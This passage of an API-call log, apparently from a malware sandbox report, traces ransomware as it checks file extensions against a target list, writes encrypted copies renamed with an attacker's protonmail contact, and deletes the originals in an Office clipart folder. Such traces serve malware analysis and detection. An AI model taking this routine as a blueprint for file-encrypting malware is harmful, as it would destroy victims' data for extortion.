Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0297.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0297.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0297.862] lstrlenW (lpString=".doc") returned 4 [0297.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.862] lstrlenW (lpString=".docx") returned 5 [0297.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.862] lstrlenW (lpString=".pdf") returned 4 [0297.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.863] lstrlenW (lpString=".xls") returned 4 [0297.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.863] lstrlenW (lpString=".xlsx") returned 5 [0297.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.863] lstrlenW (lpString=".ppt") returned 4 [0297.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0297.863] lstrlenW (lpString=".zip") returned 4 [0297.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.863] lstrlenW (lpString=".rar") returned 4 [0297.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.863] lstrlenW (lpString=".bz2") returned 4 [0297.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.863] lstrlenW (lpString=".7z") returned 3 [0297.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0297.863] lstrlenW (lpString=".dbf") returned 4 [0297.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0297.863] lstrlenW (lpString=".1cd") returned 4 [0297.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0297.863] lstrlenW (lpString=".jpg") returned 4 [0297.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0297.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0297.863] lstrlenW (lpString=".doc") returned 4 [0297.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.863] lstrlenW (lpString=".docx") returned 5 [0297.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.863] lstrlenW (lpString=".pdf") returned 4 [0297.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.864] lstrlenW (lpString=".xls") returned 4 [0297.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.864] lstrlenW (lpString=".xlsx") returned 5 [0297.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.864] lstrlenW (lpString=".ppt") returned 4 [0297.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0297.864] lstrlenW (lpString=".zip") returned 4 [0297.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.864] lstrlenW (lpString=".rar") returned 4 [0297.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.864] lstrlenW (lpString=".bz2") returned 4 [0297.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.864] lstrlenW (lpString=".7z") returned 3 [0297.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0297.864] lstrlenW (lpString=".dbf") returned 4 [0297.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0297.864] lstrlenW (lpString=".1cd") returned 4 [0297.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0297.864] lstrlenW (lpString=".jpg") returned 4 [0297.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.864] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.864] lstrlenW (lpString="FD00414_.WMF") returned 12 [0297.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0297.865] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=11002) returned 1 [0297.865] CloseHandle (hObject=0x10b8) returned 1 [0297.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220 [0297.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0297.865] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.865] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0297.866] GetLastError () returned 0x0 [0297.866] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x2afa, lpOverlapped=0x0) returned 1 [0297.929] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x2b00, lpOverlapped=0x0) returned 1 [0297.930] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.930] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.930] SetEndOfFile (hFile=0x10b0) returned 1 [0297.931] CloseHandle (hObject=0x10b0) returned 1 [0297.931] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.931] SetEndOfFile (hFile=0x10b8) returned 1 [0297.932] CloseHandle (hObject=0x10b8) returned 1 [0297.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0297.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0297.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0297.943] lstrlenW (lpString=".doc") returned 4 [0297.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.943] lstrlenW (lpString=".docx") returned 5 [0297.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.943] lstrlenW (lpString=".pdf") returned 4 [0297.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.943] lstrlenW (lpString=".xls") returned 4 [0297.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.943] lstrlenW (lpString=".xlsx") returned 5 [0297.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.943] lstrlenW (lpString=".ppt") returned 4 [0297.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0297.944] lstrlenW (lpString=".zip") returned 4 [0297.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.944] lstrlenW (lpString=".rar") returned 4 [0297.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.944] lstrlenW (lpString=".bz2") returned 4 [0297.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.944] lstrlenW (lpString=".7z") returned 3 [0297.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0297.944] lstrlenW (lpString=".dbf") returned 4 [0297.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0297.944] lstrlenW (lpString=".1cd") returned 4 [0297.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0297.944] lstrlenW (lpString=".jpg") returned 4 [0297.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0297.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0297.944] lstrlenW (lpString=".doc") returned 4 [0297.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.944] lstrlenW (lpString=".docx") returned 5 [0297.944] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.944] lstrlenW (lpString=".pdf") returned 4 [0297.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.944] lstrlenW (lpString=".xls") returned 4 [0297.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.944] lstrlenW (lpString=".xlsx") returned 5 [0297.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.944] lstrlenW (lpString=".ppt") returned 4 [0297.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0297.944] lstrlenW (lpString=".zip") returned 4 [0297.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.944] lstrlenW (lpString=".rar") returned 4 [0297.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.945] lstrlenW (lpString=".bz2") returned 4 [0297.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.945] lstrlenW (lpString=".7z") returned 3 [0297.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0297.945] lstrlenW (lpString=".dbf") returned 4 [0297.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0297.945] lstrlenW (lpString=".1cd") returned 4 [0297.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0297.945] lstrlenW (lpString=".jpg") returned 4 [0297.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.945] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.945] lstrlenW (lpString="FD00435_.WMF") returned 12 [0297.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0297.953] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2108) returned 1 [0297.953] CloseHandle (hObject=0x10b0) returned 1 [0297.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220 [0297.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0297.957] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.957] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0297.962] GetLastError () returned 0x0 [0297.962] ReadFile (in: hFile=0x10cc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x83c, lpOverlapped=0x0) returned 1 [0298.008] WriteFile (in: hFile=0x10c0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x840, lpOverlapped=0x0) returned 1 [0298.010] ReadFile (in: hFile=0x10cc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.010] WriteFile (in: hFile=0x10c0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.010] SetEndOfFile (hFile=0x10c0) returned 1 [0298.010] CloseHandle (hObject=0x10c0) returned 1 [0298.010] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.010] SetEndOfFile (hFile=0x10cc) returned 1 [0298.011] CloseHandle (hObject=0x10cc) returned 1 [0298.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0298.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0298.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0298.012] lstrlenW (lpString=".doc") returned 4 [0298.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.012] lstrlenW (lpString=".docx") returned 5 [0298.012] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.012] lstrlenW (lpString=".pdf") returned 4 [0298.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.012] lstrlenW (lpString=".xls") returned 4 [0298.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.012] lstrlenW (lpString=".xlsx") returned 5 [0298.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.012] lstrlenW (lpString=".ppt") returned 4 [0298.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0298.012] lstrlenW (lpString=".zip") returned 4 [0298.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.012] lstrlenW (lpString=".rar") returned 4 [0298.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.012] lstrlenW (lpString=".bz2") returned 4 [0298.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.012] lstrlenW (lpString=".7z") returned 3 [0298.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0298.012] lstrlenW (lpString=".dbf") returned 4 [0298.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0298.012] lstrlenW (lpString=".1cd") returned 4 [0298.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0298.013] lstrlenW (lpString=".jpg") returned 4 [0298.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0298.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0298.013] lstrlenW (lpString=".doc") returned 4 [0298.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString=".docx") returned 5 [0298.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.013] lstrlenW (lpString=".pdf") returned 4 [0298.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString=".xls") returned 4 [0298.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.013] lstrlenW (lpString=".xlsx") returned 5 [0298.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.013] lstrlenW (lpString=".ppt") returned 4 [0298.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0298.013] lstrlenW (lpString=".zip") returned 4 [0298.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.013] lstrlenW (lpString=".rar") returned 4 [0298.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString=".bz2") returned 4 [0298.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString=".7z") returned 3 [0298.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0298.013] lstrlenW (lpString=".dbf") returned 4 [0298.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0298.013] lstrlenW (lpString=".1cd") returned 4 [0298.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0298.013] lstrlenW (lpString=".jpg") returned 4 [0298.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.014] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.014] lstrlenW (lpString="FD00455_.WMF") returned 12 [0298.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0298.014] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=8926) returned 1 [0298.014] CloseHandle (hObject=0x10cc) returned 1 [0298.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0298.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0298.014] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.014] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0298.015] GetLastError () returned 0x0 [0298.015] ReadFile (in: hFile=0x10cc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x22de, lpOverlapped=0x0) returned 1 [0298.023] WriteFile (in: hFile=0x10c0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x22e0, lpOverlapped=0x0) returned 1 [0298.024] ReadFile (in: hFile=0x10cc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.024] WriteFile (in: hFile=0x10c0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.024] SetEndOfFile (hFile=0x10c0) returned 1 [0298.024] CloseHandle (hObject=0x10c0) returned 1 [0298.024] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.024] SetEndOfFile (hFile=0x10cc) returned 1 [0298.025] CloseHandle (hObject=0x10cc) returned 1 [0298.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0298.025] lstrlenW (lpString="C:\\Program Files\\Microsoft 